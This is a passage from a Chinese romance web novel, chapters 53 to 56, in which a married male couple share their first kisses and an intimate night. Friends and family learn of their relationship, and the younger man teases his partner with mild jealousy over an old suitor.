余闻嘉俯身想亲池镜的耳朵,池镜刚好转身,这一吻落在了他脸颊上。 余闻嘉顿了一下,池镜转过身来,两人四目相视,彼此的脸庞近在咫尺。 余闻嘉沉默地凝视着他。 “要亲吗?”池镜问他。 “要。”余闻嘉说着托起池镜的下巴,亲了他一下。 这次多亲了几秒,但也只是贴着。 池镜搂住他的脖子坐起来,余闻嘉顺势抱住他,将他搂在怀里。 池镜嘴唇微张,唇瓣软软地蹭着他的嘴角,含糊不清地说:“我说过我是你的,你不用这么小心翼翼。以后都不用。” 说着他探出舌尖在余闻嘉唇上舔了一下。 余闻嘉呼吸很明显地一紧,猛地搂紧他的腰。 池镜把他看得很透,他今天克制到太小心翼翼了,还需要池镜引导他加深这个吻。 池镜的嘴唇被轻轻撬开,余闻嘉的舌尖抵了进来,生涩地与他唇舌交缠。他的手从池镜的腰间缓缓向上,移至后颈,紧紧地、用力地扣在那儿,像是怕池镜逃开,要把他牢牢地禁锢在自己身前。 他不懂接吻,他胡乱地舔舐、吮吸池镜的舌头。 这是个不留一丝空隙的深吻,余闻嘉的舌尖都快抵到池镜的喉咙了,池镜嘴里溢出细碎轻哼,他已经被亲缺氧了。 但余闻嘉还没有放开他的架势,好像他不需要呼吸似的。 池镜喘不上气,被吻得浑身发软,他手在余闻嘉身前轻轻推了一下。 余闻嘉终于松开了他,池镜脸颊泛起一层薄红,两人呼吸都很乱。 池镜气还没喘匀,余闻嘉又低头吻了过来。他赶忙用手指抵住他的嘴唇,还没开口,余闻嘉又拨开他的手,重新堵住了他的嘴唇。 “我不用再小心翼翼。”余闻嘉边吻边低声说,“这是你说的。” 第53章 第 53 章 然后你就出来认领我老婆…… 53 余闻嘉的吻算不上温柔, 生涩没有技巧,强势中显出几分粗暴。池镜从一开始的主导变成只能被动地回应,他软绵绵地靠在余闻嘉身上, 脖子被他紧紧扣着,四肢发软, 舌头也发软。 两人到底吻了多久池镜无知无觉, 余闻嘉放开他的时候他整个人都是恍惚的, 大脑缺氧,头很晕。 他晕乎乎地垂下脑袋,余闻嘉托着他的下巴将他头抬起来。 池镜现在的状态跟他那次喝多了差不多, 脸泛潮红,目光有点迷离。 “还亲呢?”池镜笑着问了句,嗓音有点发黏。 “不让么?” 池镜眯了眯眼睛,故意说:“不让了。” “现在说这话不管用。”余闻嘉说着摁住他的后脑,作势要亲上来, 池镜也没躲,坦然地闭上眼睛,坦然地等他吻过来。尽管他现在头晕得下一秒就能倒下去。 余闻嘉的嘴唇停在离他嘴唇一公分的地方,低声开口:“不是不让吗。” 池镜睁开眼, 与他对视:“逗你的。我说了, 我是你的。随你怎样。” “别总说这话。”余闻嘉提醒他。 池镜挑了下眉:“怎么呢。” “你说怎么呢。”余闻嘉用鼻尖蹭了蹭他的鼻尖, “我会得寸进尺。就跟刚才那样。” “允许你得寸进尺。”池镜说。 余闻嘉克制不住在池镜唇上咬了一下,池镜疼得闷哼一声,余闻嘉用指腹轻轻摩挲他的唇瓣,说:“真得寸进尺你也得受得住。” 他搂着池镜躺了下来,问他:“是不是头晕?” 池镜闭上眼睛轻笑一声:“知道我头晕啊。” 他现在不仅头晕,舌头还发麻。 “你现在这状态, 跟喝多了差不多。”余闻嘉弯着食指在他脸上刮了一下,脸又烫又红,还老说那些撩拨人的话,真跟喝多了似的。 池镜“嗯”了声:“是有点喝多的感觉。晕吻了。” 余闻嘉帮他轻轻揉着太阳穴:“不晕我还得亲个把小时。” 池镜笑出声来:“给你机会了,你自己不要。” “今天我先不要,以后再慢慢补。” 池镜被余闻嘉按着太阳穴,神经舒缓而放松,没多久就睡着了。他的呼吸变得平缓,余闻嘉帮他拉上被子,在他耳朵上轻轻吻了下。 前一夜两人都没睡,这会儿在酒店补了半天觉,睡到中午才醒。 余闻嘉下午还要去医院集合,他比池镜早醒,下床换衣服的时候,躺在床上的池镜迷迷糊糊地醒了。 “困就再多睡会儿。”余闻嘉走到床边说,“我下午还得去医院,一会儿去食堂给你带点饭回来。” “不睡了。”池镜下了床,“医院食堂闲杂人等能进去吃个饭吗?” “你是闲杂人等?” 池镜眨眨眼,笑着问:“我不是么?” “好歹有个医生家属的身份。” 池镜眯着眼睛笑笑:“那请家属带着我。” 余闻嘉走到他身前:“家属现在要亲一下。” “跟家属亲个嘴还要打报告呢。” 余闻嘉摁着他的后颈,低下头亲了他一下。两人嘴唇刚碰在一起,忽然听到一阵敲门声。 两人皆是一顿,池镜看向门口,开玩笑说:“我需不需要躲起来避避风头。” 他要真想避风头就不会表现得这么淡定了,余闻嘉捏了捏他的下巴,失笑道:“你哪来那么多风头要避。” “那不避了。” “你有个要避的样子吗。”余闻嘉笑着放开他,走去开门。 门外的是李彻。 余闻嘉住的这一层都是他们医疗队的医生,这个点大家休息够了都准备去医院食堂吃饭。李彻的房间就在余闻嘉隔壁,到点了,他来叫余闻嘉一起去吃饭。 “走了,吃饭了——”余光扫到池镜的那一瞬,李彻霎时噤了声,他睁大眼睛,诧异地看着余闻嘉身后的人。 “……池镜?”李彻有点懵。 池镜笑着冲他点了下头:“李大夫。” 李彻脑子有点转不过来:“……你怎么会在这啊?” “来看闻嘉。”池镜说。 李彻还是愣愣的:“跑这么大老远一趟啊。” “是。”池镜笑了笑。 三个人一起去医院食堂吃饭,坐电梯下楼的时候李彻心里直犯嘀咕,他也不是没脑子,余闻嘉和池镜关系有多好他不清楚,但好到这份上难免让人多想,更别说池镜身上穿的还是余闻嘉的衣服。 池镜坐李彻对面吃饭的时候,李彻才注意到他无名指上的戒指,他目光落在那处,有点意外。碍于跟池镜半生不熟的关系,他不便多问,怕唐突。 李彻本来还以为池镜跟余闻嘉可能是那种关系,眼下看见池镜手上的戒指,又否定了自己这一猜想。 三个人吃着饭,池镜手机响了,食堂里有点吵,他拿上手机去外面接了电话。趁这工夫李彻问余闻嘉:“池镜结婚了啊?” “结了。” “真结了?我一直以为他单身呢,上次一块出去玩还没见他手上戴戒指,这才一个多月居然就结婚了。”李彻看向余闻嘉,有点好奇,“他一直有女朋友啊?” “没有。”余闻嘉如实说。 “嗯?那是闪婚啊?”池镜看着不像是对婚姻那么草率的人,李彻心想认识一个月就结婚的对象,这得多优秀。 他“啧啧”两声,想到陆思远当年追池镜没追上的事,不由得感慨:“果然感情这事还得看缘分。陆思远当年想追都没追上,现在人家都有老婆了。” 余闻嘉抬眸看他一眼,眼神透着一丝微妙。 “怎么了?”李彻看着他,忽然“嘶”了声,“你这眼里有话啊?” 李彻要不问这一句,余闻嘉还未必会在这时坦白自己跟池镜的关系。他跟池镜都走到这一步了,现在完全没有必要再隐瞒两人结婚的事。 余闻嘉告诉李彻:“他没有老婆,只有老公。” 李彻夹着菜的筷子一顿:“……啊?他跟男的结的婚?” 余闻嘉点了点头:“跟我结的婚。” 李彻眼睛一瞪,筷子差点掉了。 说话间,池镜回来了。他看到李彻坐在那,身体僵住了似的,死盯着余闻嘉,表情有点……惊恐。 这反应……他大概能猜到这两人在聊什么。 池镜若无其事坐回位置,李彻视线转向他,张了张嘴,仿佛丧失了语言功能。 他一副有话要问又不好意思问的样子,池镜怕他憋坏了,主动问了句:“怎么了?” 李彻确实憋得难受,池镜一问他就直接说了:“闻嘉刚跟我说了件事儿……他说你俩结婚了?” “对。”池镜点了点头。 池镜光速般的承认,让李彻一口气噎在喉腔,上不去下不来,卡壳半晌,最后嘴里只能蹦出一句:“……恭喜啊。” 池镜笑着说了声“谢谢”,想安抚一下他受惊的情绪:“是不是吃惊坏了,你刚表情看着有点惊悚。” 李彻“嗨”了一声,也笑了:“那肯定啊。我还不敢问,怕唐突。我说呢,你俩这关系好得也忒过了,搞了半天两口子啊。”说着他瞥了余闻嘉一眼,“你小子结婚都不说?也没叫我?” “结得比较仓促。”池镜替他解释,“婚礼办得也简单,就没请太多人。” 李彻是个有分寸的人,该知道的都知道了,没必要问的也没多问。 余闻嘉还要在这边待两天,池镜后天要上班,今天就打算回去。余闻嘉在这边是要救人的,他也有自己的事,不可能一直待在这。他订了晚上的机票,一会儿就准备走了。 吃完饭,余闻嘉陪池镜回酒店拿衣服。余闻嘉走进房间,池镜跟在他身后问:“怎么突然就跟李彻聊到咱俩结婚的事了?我刚就出去三分钟,你这公布速度够快的。” “他问的。”余闻嘉说,顺带提了一句,“人家当你娶了老婆。” 池镜笑了声:“然后你就出来认领我老婆的身份了?” “老公。”余闻嘉纠正他。 谁知道池镜顺势应了一声:“在呢。” 余闻嘉回头看他一眼。 池镜反手把门关上,说:“再叫一声听听。” 余闻嘉脚步一顿,下一秒就转身将他抵在门上,垂下眼眸沉默地看着他。 池镜微微挑眉:“不喜欢这么叫我啊。” 就一个称呼而已,池镜想听余闻嘉随时都能叫。只是池镜这张嘴太贫了,他就是故意逗弄自己,余闻嘉知道。 “怎么不能是你叫我。”余闻嘉说。 “当然能。”池镜凑到他耳边,低低地叫了声:“老公。” 叫完弯着食指刮了刮他的耳廓,问:“满意没?” 第54章 第 54 章 但不是很受得了。 54 余闻嘉没说满意不满意, 只道:“快被你哄得找不着北了。” 池镜轻笑一声,问他:“那我哄你哄高兴没?” “都找不着北了,你说我高不高兴。” 池镜摸着他的耳朵, 说:“高兴就好。我们闻嘉以后都要这么高兴。” 池镜老这么不着调不为别的,就是想哄余闻嘉, 想让他高兴。藏着自己感情的那么多年可能都不开心, 池镜现在当然要把自己能给他的都给他, 让他时时刻刻都开心。 池镜目光专注地看着他,从耳朵抚摸到脸颊,轻轻地、温柔地触碰着他。 余闻嘉微微侧过头, 在池镜的手腕处吻了一下。 池镜笑了笑,摸着他脸说:“这脸挺嫩,到底是年轻,滑溜溜的。” 余闻嘉嗤笑一声,把他搂进怀里, “你怎么说不上两句就开始不正经,没个哥哥样儿。”说着低下头脸贴着他的脸轻轻蹭了蹭,“说得你脸多糙似的,不也滑溜溜的。” “这会儿想起来我是哥哥了?”池镜挑了下眉, “不是不让我把你当弟弟吗, 怎么还自己打自己脸呢。” 余闻嘉笑着没说话。 池镜仰头看着他:“那哥哥问问你, 什么叫‘不正经’?我以前很正经吗?” “以前也不是很正经。”余闻嘉说,“这一趟来,特别不正经。” 池镜笑出了声。 他骨子里就不是个一板一眼的人,对着余闻嘉这个“真正经”,不正经可太正常了。 因为逗弄余闻嘉这件事本身就很让他乐在其中。 “你不喜欢啊。”池镜下巴在他锁骨中间那块蹭了蹭。 余闻嘉沉默了片刻,说“喜欢”, 又沉默了片刻,说:“但不是很受得了。” “受不了啊?”池镜眼底有很浅的笑意,“那我再正经回去?” “不许。”余闻嘉微微收紧搂着他腰的胳膊。 “许不许的都正经不回去了,我本来就是这样的人。”池镜哪舍得再冷着余闻嘉,他在余闻嘉下巴上亲了亲,“我本来就该这样。” 两人又抱了一会儿,余闻嘉该回医院了,池镜也要准备出发去县城。 “到县城了给我发个消息。”余闻嘉说,“上飞机前也发个,下了飞机也发个。” 池镜笑了:“好的。” 池镜开车送余闻嘉回了医院,两人在医院门口道别。 余闻嘉解了安全带,倾身靠过来吻了吻池镜。 “路上小心点,慢点开车。” “记得每天给我报个平安。”池镜说,“等你回来。” 池镜晚上八点半的飞机,中午从这边出发,到机场的时间还算宽裕。他在县城还了租的车,然后重新叫了辆车赶去机场。他给余闻嘉发的两条消息余闻嘉都没回,医院那边肯定还很忙。 池镜落地已经半夜了,这一天一夜都奔波在路上,到家累得眼睛都睁不开,没洗澡就直接睡了。 好在这两天是周末,明天不用早起。 池镜前两天麻烦了陆思远,打算请他吃顿饭还个人情,他打电话约陆思远吃饭,陆思远在电话那头笑着说:“多大点儿事啊,还用这么客气。” 池镜笑道:“不说这事,上次你带我出去露营,这一顿我总得还吧?” 陆思远笑了声:“那成。” 池镜跟他约了个时间,说:“那就这样,不打扰你忙。” 池镜刚要挂电话,陆思远开口叫了声:“池镜。” “嗯?还有事?” “你……”陆思远语气略带迟疑,“你跟闻嘉,你们俩在一起?” “嗯,是的。” “结婚了?” “对。” 陆思远笑了笑:“我听李彻那货说的,他说他昨天见着你了。” “我想也是。”池镜笑了下,“除了他没别人了。” “其实我也有猜到一点。”陆思远说,“上次去露营……你俩就在一块了吧?” “那时候还没有。” 电话那边的陆思远挑眉梢微挑,有点意外:“看着不像。” 池镜笑道:“确实没有。那时候……算还在磨合吧。” “那你俩结婚挺快啊。” “是。是有点快。” 陆思远对池镜早没那方面心思了,说话也挺坦荡:“说实话,有点没想到你会结婚,还是跟个男生。”他笑了笑,“真的挺意外的。” 池镜说:“我也没想到。” “不过对象是余闻嘉,好像又没那么意外了。”陆思远说。 池镜笑了声:“怎么说?” “感觉吧。感觉你俩在一块,别人插.不进去,那次生日你坐他旁边我就有这感觉。不说这个,单说闻嘉,那么优秀,你俩能在一起也不奇怪。”陆思远停了停,感慨道,“挺好的,能遇到对的人是很难得的事。” 池镜“嗯”了声,说:“是这样。” 余闻嘉是第四天下午回来的,落地的时候池镜还在上班,没能去机场接他。他出差近一个月,今天两家人要聚一块吃顿饭,就在老爷子那儿。 池镜加班,是最后一个到的。 老爷子住的院子大,吃饭的地方是单独的一间屋。池镜姗姗来迟,走进屋里视线扫了一圈落在余闻嘉的方向。余闻嘉从池镜进来就一直看着他。他旁边有个空位,那是池镜的位置。 池镜跟长辈们打了声招呼,径直朝余闻嘉那边走去,他走到余闻嘉身后摸了摸他脑袋,轻声说:“可算回来了。” 余闻嘉帮他拉开椅子,池镜把外套脱了挂在椅背上,坐下后抓着余闻嘉的手摸了一下,说:“穿太少了。手那么凉。” 他们这不比云南,这个季节温度还没高到需要穿短袖的程度,这屋里坐的一圈人穿的都是长袖,就余闻嘉一个人穿了T恤。他在飞机上就穿的这一件,到家没换衣服,也没加件外套。 “不冷。”余闻嘉说。 两个人的手都在桌下,没人看见他们紧紧握着对方的手。 “上次发烧的事忘了?这个季节最容易着凉,别不冷不冷的。不冷你手这么凉?” “我刚洗了手。” 余闻嘉坐池镜右边,池镜右手被他抓着不放,没法吃饭。见他没有松开的架势,池镜侧头看向他,手指在他手里动了动,笑着小声说:“不让我吃饭了?” 余闻嘉看他一眼,松开了手。 说来也挺滑稽,两人明面上是结了婚的一对,在长辈面前拉个手还得偷偷摸摸的,跟两个情窦初开的小年轻似的。 想到这,池镜不禁在心里笑了下,心想余闻嘉可不就是小年轻吗。 长辈在场,两人也不好意思太黏糊,想接触顶多就捏捏手指、刮刮手心。 中途池镜出去接了个电话,打了好久,有十几分钟。余闻嘉出去找他的时候他还举着手机在说话,站在院子里,背对着餐厅这边。余闻嘉没去打扰他,靠墙站着,等了大概两分钟,池镜终于挂了电话。 他转过身来,一眼看到余闻嘉,姿态放松地倚墙站着,穿着黑T和运动裤,简简单单的一身,清爽又帅气。 不掺杂任何主观情感,余闻嘉也是个颜值非常突出的大帅哥。 院子很空很大,但对他们来说也算是个独处空间。 池镜知道他要什么,把手机放进口袋,看着他说:“来。” 余闻嘉走过来,走到他身前。 池镜微微张开双臂,说:“来抱。” 余闻嘉二话不说抱住了他。 池镜下巴搭在他的肩膀上,有一下没一下地抚着他的后背,“这几天累坏了吧。” “还好。心比较累。” 池镜很轻地笑了声:“心累?为什么累的?” “为你。”余闻嘉侧过头,亲亲他的耳朵,“想你想的。” 两人也没做其他亲近的事,就站在院子里抱了一会儿。没多久,餐厅的门被打开了,余闻嘉妈妈从里面走了出来,她要去隔壁厨房拿个汤碗,出来就看见余闻嘉和池镜抱在一起。 池镜眼神跟余母对个正着,有些尴尬地松开手,叫了声:“妈。” 余闻嘉回头看了眼,也叫了声“妈”。 余母脸上浮现出笑意:“我去厨房拿个碗,打扰你们了。” 池镜难得有点不好意思,笑了笑不知道该说什么。 余母走去厨房拿碗,余闻嘉跟进来,余母转头看他一眼:“你进来干什么,拿东西啊?” “帮你拿碗。”余闻嘉说。 余母笑了声:“就几个碗还用你帮我拿。” 她从橱柜里拿了几个汤碗,问余闻嘉:“闻嘉,你现在跟小镜挺好?” “挺好的。” 余母转过来:“哪种好啊?是你想要的那种好?” 余闻嘉点了点头:“是。” 余母温柔地笑起来,走过来拍拍他的胳膊,说:“挺好。得偿所愿了,是不是?” “您是早就知道了?” “废话。”余母在他脑门上拍了一下,“你是我儿子。” 余闻嘉笑着拿过她手里的碗。 吃过晚饭两人没在老爷子这儿待太久,坐了一会儿就回家了。 余闻嘉推着行李箱走进客厅,池镜跟在后面进来,抬手解西装扣子,他把西装外套把沙发上一扔,正要解领带,余闻嘉就放下行李箱走过来亲了他一下。 这个亲亲来得急促,结束得也快。 池镜看着他挑了挑眉:“进步了,这次知道不打报告就行动了。” “你别张口就来。”余闻嘉捏了捏他耳垂,“我早就不打报告了。” 池镜笑而不语,他穿着衬衫系着领带,手还搭在领结上,他手放了下来,抬了抬下巴,示意余闻嘉:“帮我解了。” 第55章 第 55 章 那现在请支付我尾款。 55 余闻嘉抬起手, 手指勾住领结中间,缓缓往下,把池镜的领带解松。领带松松垮垮地挂在池镜脖子上, 余闻嘉拉着领带将池镜往身前轻轻一拽。 他拽着领带往上提了一下,这一拽让池镜微微仰起了脸。 一拽一提再一拽, 等池镜反应过来的时候, 已经亲到了余闻嘉的嘴唇。 池镜眨了下眼睛的工夫, 余闻嘉就松开了他。 这人跟人亲个嘴也像情窦初开的小年轻,就像前几日在云南两人最开始接吻那样,纯纯情情地碰一下。 明明进屋还没三分钟都已经亲了两次了。 爱亲。 但是亲得很克制。 池镜心底发笑, 嘴上却道:“夸你进步就开始频繁搞偷袭了啊。” 余闻嘉解下他的领带说:“这是帮你解领带的酬劳。” “这么点就够了?” 余闻嘉抬眸看他一眼,道:“只是预付款。” 池镜“噗嗤”笑了:“没听过酬劳还有预付款的。” “我定的。”余闻嘉拿领带在他脸上轻轻蹭了下,“一会儿找你要尾款。” 他把领带拎手里,另一只手拍了拍池镜的腰:“去洗澡吧。我把行李收拾一下。” “好的。”池镜也没去卧室拿换洗衣服,直接就去浴室洗澡了。 余闻嘉收拾了一下行李箱, 然后把池镜扔在沙发上的西装连同领带一起挂在了卧室的衣柜里。 池镜在工作方面是绝对的一丝不苟,但在生活上就还挺随意的。跟余闻嘉比起来,都显得他有点“糙”。西装就随手扔在沙发上,还得余闻嘉跟在后头帮他收起来。 池镜洗完澡出来没在客厅看到余闻嘉, 他走去卧室, 站门外看见余闻嘉站在床前, 弯着腰在帮他叠衣服。一旁的挂烫机上挂着刚从阳台收下来的衬衫,余闻嘉把叠好的衣服放进衣柜里,转身去熨衬衫。 余闻嘉之前说池镜没个哥哥样儿,池镜心想确实。在生活上基本是余闻嘉照顾他多一点,这方面他确实没个哥哥样儿。 池镜走进房间,听到脚步声, 余闻嘉转头看了眼,表情微微一愣。 池镜平时洗完澡都穿睡衣,今天去洗澡没带衣服,洗完直接穿了浴室里的浴袍。 他跟余闻嘉形婚这小半年,只有结婚第一天晚上不小心穿成了这样。 以前一个人住的时候池镜洗完澡都穿浴袍,就是懒得拿衣服,临睡前才会换睡衣。后来余闻嘉住进来,他才改了这习惯。 现在两人已经是更亲密的关系,池镜没必要再跟余闻嘉保持边界,想怎么穿就怎么穿。 余闻嘉转过头去继续熨衬衫,说:“怎么穿成这样,忘拿衣服了?” 池镜笑了声:“我穿哪样了?你这话说的我好像穿了什么不三不四的衣服。” “平时洗完澡穿得那么严实,”余闻嘉明知故问,“今天怎么了,穿着浴袍就出来了。” 这话说得太故意了,池镜笑着朝他走过去:“你说怎么。” 余闻嘉仔仔细细熨着衣服,说:“我不说。”他侧过头看池镜一眼,“我要你说。” “因为以前是以前,现在是现在。以前你是弟弟,现在你是老公。”池镜走到他身后环住他的腰,在他耳边问,“还满意吗?这个回答。” 池镜毫无征兆地从后面搂上来,余闻嘉动作很明显地一顿,他把挂烫机的喷头往架子上一放,手抓着池镜的小臂,低声说:“我是不是跟你说了,你这样我受不了。” 池镜笑了声:“你要我说的,这会儿又受不了了?” 余闻嘉心道你这么抱着我,说什么我都受不了。 余闻嘉怕蒸汽烫着池镜,把挂烫机推远了些。他扯开池镜环着自己腰的手,转过身捏住他的下巴,沉默了会儿,问:“我今天睡哪儿?” 池镜轻笑:“你想睡哪儿?” 余闻嘉视线往床上扫了一眼,说:“这。” 说着松开了池镜的下巴,跟他说:“我去洗澡。” 走前他关了挂烫机,把熨好的衬衫挂进了衣柜里。 余闻嘉洗完澡回来的时候,池镜正靠在床上看书,他没换睡衣,身上还穿着浴袍。 池镜抬了下眼,看到余闻嘉站在门口,他拍了拍旁边的枕头,说:“来。” 余闻嘉关上门,走过去掀开被子上了床。 池镜看书正好看到章节收尾处,他低头继续看下去,等看完抬起头来时,发现余闻嘉正看着自己。 池镜笑道:“盯着我也不说话。” “还看吗?”余闻嘉垂眸扫了一眼书页。 “你这眼神,不太像想让我继续看的样子。” “没有。”余闻嘉说,“你要看就继续看。” “不看了。”池镜合上书放在床头柜上,然后转头看着余闻嘉。 “没不让你看。”余闻嘉说。 “我自己不想看了。” “那现在请支付我尾款。” 池镜忍不住笑了:“要我怎么支付?” 余闻嘉倾身压过来,吻住了他的嘴唇,用舌头抵开他的唇瓣,模糊不清地说:“这样支付。” 池镜被他压在身下,抬手搂住了他的脖子,回应着他的深吻。 余闻嘉的手隔着浴袍掐住池镜的腰,只是吻他,手上并没有其他动作。浴袍松松垮垮地挂在池镜身上,腰带本来就没系多紧,很容易就松开了。衣襟滑落,池镜一侧肩膀露了出来。余闻嘉忍不住在他肩头咬了一下,池镜轻哼了一声,余闻嘉吻着自己咬的那处低声说“对不起”。 到目前为止,最放肆的也就咬的这一下了。 余闻嘉含着池镜的唇瓣,手一寸寸往下,最后按在了池镜的胯骨上。没了浴袍的阻隔,他感受着池镜身体的温度。肌肤相亲让他头脑发涨,明明两人只是接了个吻。 池镜感觉余闻嘉的吻越来越重,吻得他几乎透不过气,就在他感觉自己快要窒息的一瞬间,余闻嘉突然松开了他。 余闻嘉低头看着池镜,呼吸声很重。 “镜哥。”余闻嘉哑声叫他。 “在呢。”池镜的声音也有些哑。 这一看就是有状况了,池镜手探过去摸了一下,余闻嘉眉心一蹙,猛地抓住他的手。 池镜轻轻笑了声:“你是想让我帮你,还是不想让我帮你啊。” 余闻嘉沉默地松开手。 “躺下来。”池镜说。 余闻嘉侧身躺了下来,池镜也侧过身。池镜帮他两次,本来还以为余闻嘉年轻气盛的会很快结束,没想到两次都特别久。池镜第一次给别人做这种事,过程中耳朵也是红的。余闻嘉从床头柜上抽了几张纸巾,帮他擦手。 “别擦了,这也擦不干净。”池镜说,“我直接去浴室洗一下。” 他动了动手指,说:“手都酸了。一会儿给我揉揉。” 余闻嘉现在就给他揉了起来,池镜手一缩,失笑道:“手还没洗呢,你也不嫌脏。” “反正是我弄脏的。”余闻嘉看着他说。 “这会儿说这话倒是脸不红心不跳,”池镜挑了下眉,“刚才还不好意思让我碰呢。” 池镜其实自己也有情况,两个人去浴室清洗的时候余闻嘉才发现。池镜站在水池前洗手,余闻嘉忽然从身后靠了过来,拥住他,然后二话不说把手覆了上来。 “别……”池镜吃了一惊,他自己给别人帮忙倒没那么不好意思,余闻嘉要帮他他反倒敏感地往前躲了一下。 “你还说我不好意思。”余闻嘉在他耳旁低声说,“现在是谁不好意思。” 余闻嘉不让他躲,掐着他的腰将他圈在身前。 池镜闭上眼睛,很轻地皱了下眉。 余闻嘉低下头,吻他的脖子,从后颈一路吻到耳朵,牙齿叼着他的耳垂轻轻磨着。 池镜闭着眼,手撑在水池上微微发抖,他颤着音开口:“闻嘉……” “嗯。”余闻嘉应了声,吻了吻他的耳朵,“你耳朵很红,镜哥。” 余闻嘉抬眼看向镜子里的人,说:“脸也很红。” 池镜垂着脑袋说不出话。 余闻嘉摸着他的下巴说:“睁眼。” 池镜的下巴被余闻嘉抬起来,他下意识睁了下眼,看见镜子里的自己又立马闭上眼,别过脸去。 两人又在浴室待了半小时,最后直接重新洗了个澡。有过更亲密的接触,两人站一起面对面冲澡也没觉得不好意思。 换了身衣服重新回到床上,余闻嘉将平躺着的池镜一把搂进自己怀里。 池镜脸埋在他胸口,深深吸了口气,闻他身上的味道。 “给我捏捏手。”池镜把手搭在他的小腹上。 余闻嘉握着他的手轻轻捏了起来,说了句:“还酸呢。” 池镜嗤笑一声:“我手酸是为谁啊。得了便宜还卖乖呢。” “你呢?”余闻嘉问池镜,“刚才舒服吗?” “还要做个满意度调查是吧?”池镜闷闷地笑了两声。 “是的。” “还行吧。”池镜故意说,“感觉技术有待加强。” 余闻嘉沉默片刻,反将一军:“拿你练手?” 池镜败下阵来,笑道:“凭什么拿我练手?” 余闻嘉看着他:“凭你说你是我的。” 第56章 第 56 章 不代表我不吃新醋。…… 56 余闻嘉刚结束医援活动, 这两天都休息,但他第二天早上还是很早就起了,起来给池镜做早餐。池镜睁眼时床上只有他一个人, 他换了衣服去卫生间洗漱,发现余闻嘉连牙膏都给他挤好了。 他进厨房的时候, 余闻嘉正在料理台那儿切橙子。 池镜走到他身后捏了捏他的脖子:“怎么连牙膏都帮我挤啊。” “帮你省时间。” “你这样迟早把我惯得四体不勤。”池镜浅浅笑着, “以后别给我挤了, 知道没?” 余闻嘉没说话。 “听没听到?”池镜身子往前探,侧过头看他。 “没听到。”余闻嘉置若罔闻,微微侧头视线扫过来, 淡淡道,“我乐意惯着。” “哎,你……”池镜不知道该说什么,反正说什么他也不会听。 余闻嘉把橙子切好,放进果盘里, 又找了个杯子拿热牛奶泡麦片。他偏了偏头,让池镜把果盘端去餐桌上。 池镜把果盘放桌上,坐下吃早餐,余闻嘉端了杯麦片递过来, 问他今天晚饭有什么想吃的。 池镜之前跟陆思远约了顿饭, 就在今天晚上, 他跟余闻嘉说:“今天我约了人吃饭,晚上不在家吃。” “约的谁?” “陆思远。” 池镜刚要伸手接余闻嘉手里的麦片,余闻嘉忽然把手收了回去。 池镜仰脸看着他。 余闻嘉把麦片搁桌上,坐下盯着他。 “怎么了,这么看着我。”池镜失笑,“不是不陪你在家吃饭, 我之前就跟他约了的。上次能去云南找你也多亏了他帮忙,我请他吃顿饭还个人情。” 以前跟池镜有名无实,余闻嘉不翻旧账,现在有名有实,那可得翻一翻了。 余闻嘉看着池镜不说话,池镜有点搞不清状况,纳闷道:“怎么了啊?怎么不说话。” “要跟你翻翻旧账。” 池镜眨了下眼睛,有点茫然:“翻旧账?什么旧账?” “你跟陆思远的旧账。” 池镜有点懵:“我俩有什么……” “他以前追过你。” 池镜一愣,随即笑了:“你听谁说的啊?” 他心想按陆思远的性格应该不会主动跟余闻嘉说这个,余闻嘉估计是从李彻那儿听说的,毕竟李彻跟陆思远熟,跟余闻嘉也熟。 “还笑?”余闻嘉故意板着张脸,“严肃点。” “是。”池镜立马收起笑意,严肃了两秒没绷住,又笑了,“这也算旧账啊,我又没跟他谈过。再说都多少年前的事了,你不提我都想不起来。” 池镜起身坐到余闻嘉旁边的位置,歪过头看着他:“你不会觉得他现在还对我有那方面的想法吧,这一看就没有啊。”他戳了戳余闻嘉的脸蛋,“想什么呢你。” 余闻嘉转过头来看他,池镜的手指还戳在他脸上。 “没想什么。”余闻嘉说,“就是跟你确认一下。” “确认什么?” “确认一下他是不是真的追过你。” 池镜笑了声:“确认过后呢,需要我跟他保持距离?” “不需要。” 池镜指尖在他脸颊上轻轻划着,轻笑道:“还以为你连这陈年老醋都吃呢。” 余闻嘉补充了一句:“不用保持距离,但也别接触太频繁。老醋不吃,不代表我不吃新醋。” 池镜笑了好一会儿才说:“明白。” “那我今天晚上跟他这顿饭,还能去吃吗?领导。”池镜问他。 余领导点了点头:“可以。早点回来。” “好的领导。” 池镜晚上跟陆思远约在了一家西餐厅,这家西餐厅是他大学同学投资的,前不久刚开业,他请陆思远吃饭,顺便来捧捧场。 两个人吃得差不多了的时候,池镜他同学的电话打了过来,问他坐几号桌。 池镜报了个桌号过去,挂断电话没多久,Allen就被服务员领着过来了。 这家西餐厅就是Allen投资的,他是股东,经营上的事不归他管,平时很少来餐厅。今天得知池镜过来吃饭,才特意来了一趟。 池镜跟陆思远介绍了一下,两人笑着握了握手。 “今天这顿记我账上。”Allen说。 “别。”池镜说,“我请客吃饭,记你账上算怎么回事。” “你来我这吃饭,我还能让你付钱?”Allen笑了笑,“这可不行。” “你这样我下次不来了。” “那可别。行了,我不跟你争。那我请你们喝酒,正好叫了几个朋友,就在这附近。” 陆思远笑了下说:“我就不去了,我不喝酒。” “不喝酒可以喝别的啊。”Allen笑着说,“那也有无酒精的饮料。” 人家专门来这一趟请他们喝酒,两人也不好意思扫兴,就跟着一起去了。 去的是个清吧,池镜坐下就拿出手机给余闻嘉发消息:可能要晚点回来,被叫来喝酒了。 余闻嘉:跟谁? 池镜:老同学。 余闻嘉:哪个老同学? 池镜看着手机屏幕笑了声,心想盘问得可真够细的。 池镜:大学同学,我生日那天你见过的,个子高高的一个混血。 余闻嘉:知道了。 池镜:他那会儿还对你有点意思,这事记得? 余闻嘉:不记得。 池镜:再装。 余闻嘉:结束了给我打个电话,我来接你。 池镜:没事我不喝酒,我自己开车回去。 余闻嘉:喝不喝我都来接你。 池镜:那要不你二十分钟后过来?还不知道他们要喝多久。 余闻嘉:我可以现在就过来。 池镜笑了笑,回道:那稍微有点早了,还是二十分钟吧。 余闻嘉:行。 二十分钟后,池镜收到了余闻嘉的消息:到了。 池镜:我跟他们打个招呼,一会儿就出来。 余闻嘉已经进来了,他四下扫了一眼,看到了坐在吧台那儿的池镜。 池镜侧着头,在跟他旁边的人说话。 “今天就先喝到这了,我得先走了,你们慢喝。” 池镜说着看了眼陆思远,还没问他什么,陆思远就放下杯子说:“我也得走了。” “这才坐了多久,”Allen说,“这么快就要走。” “真得走了,有人来接我,人在外面等着呢。”池镜说。 “谁啊——” Allen话音一停,视线越过池镜看向不远处走来的余闻嘉。他对这个人印象可是很深。 “不会是来找你的吧?”Allen微微挑了下眉,看着余闻嘉问池镜。 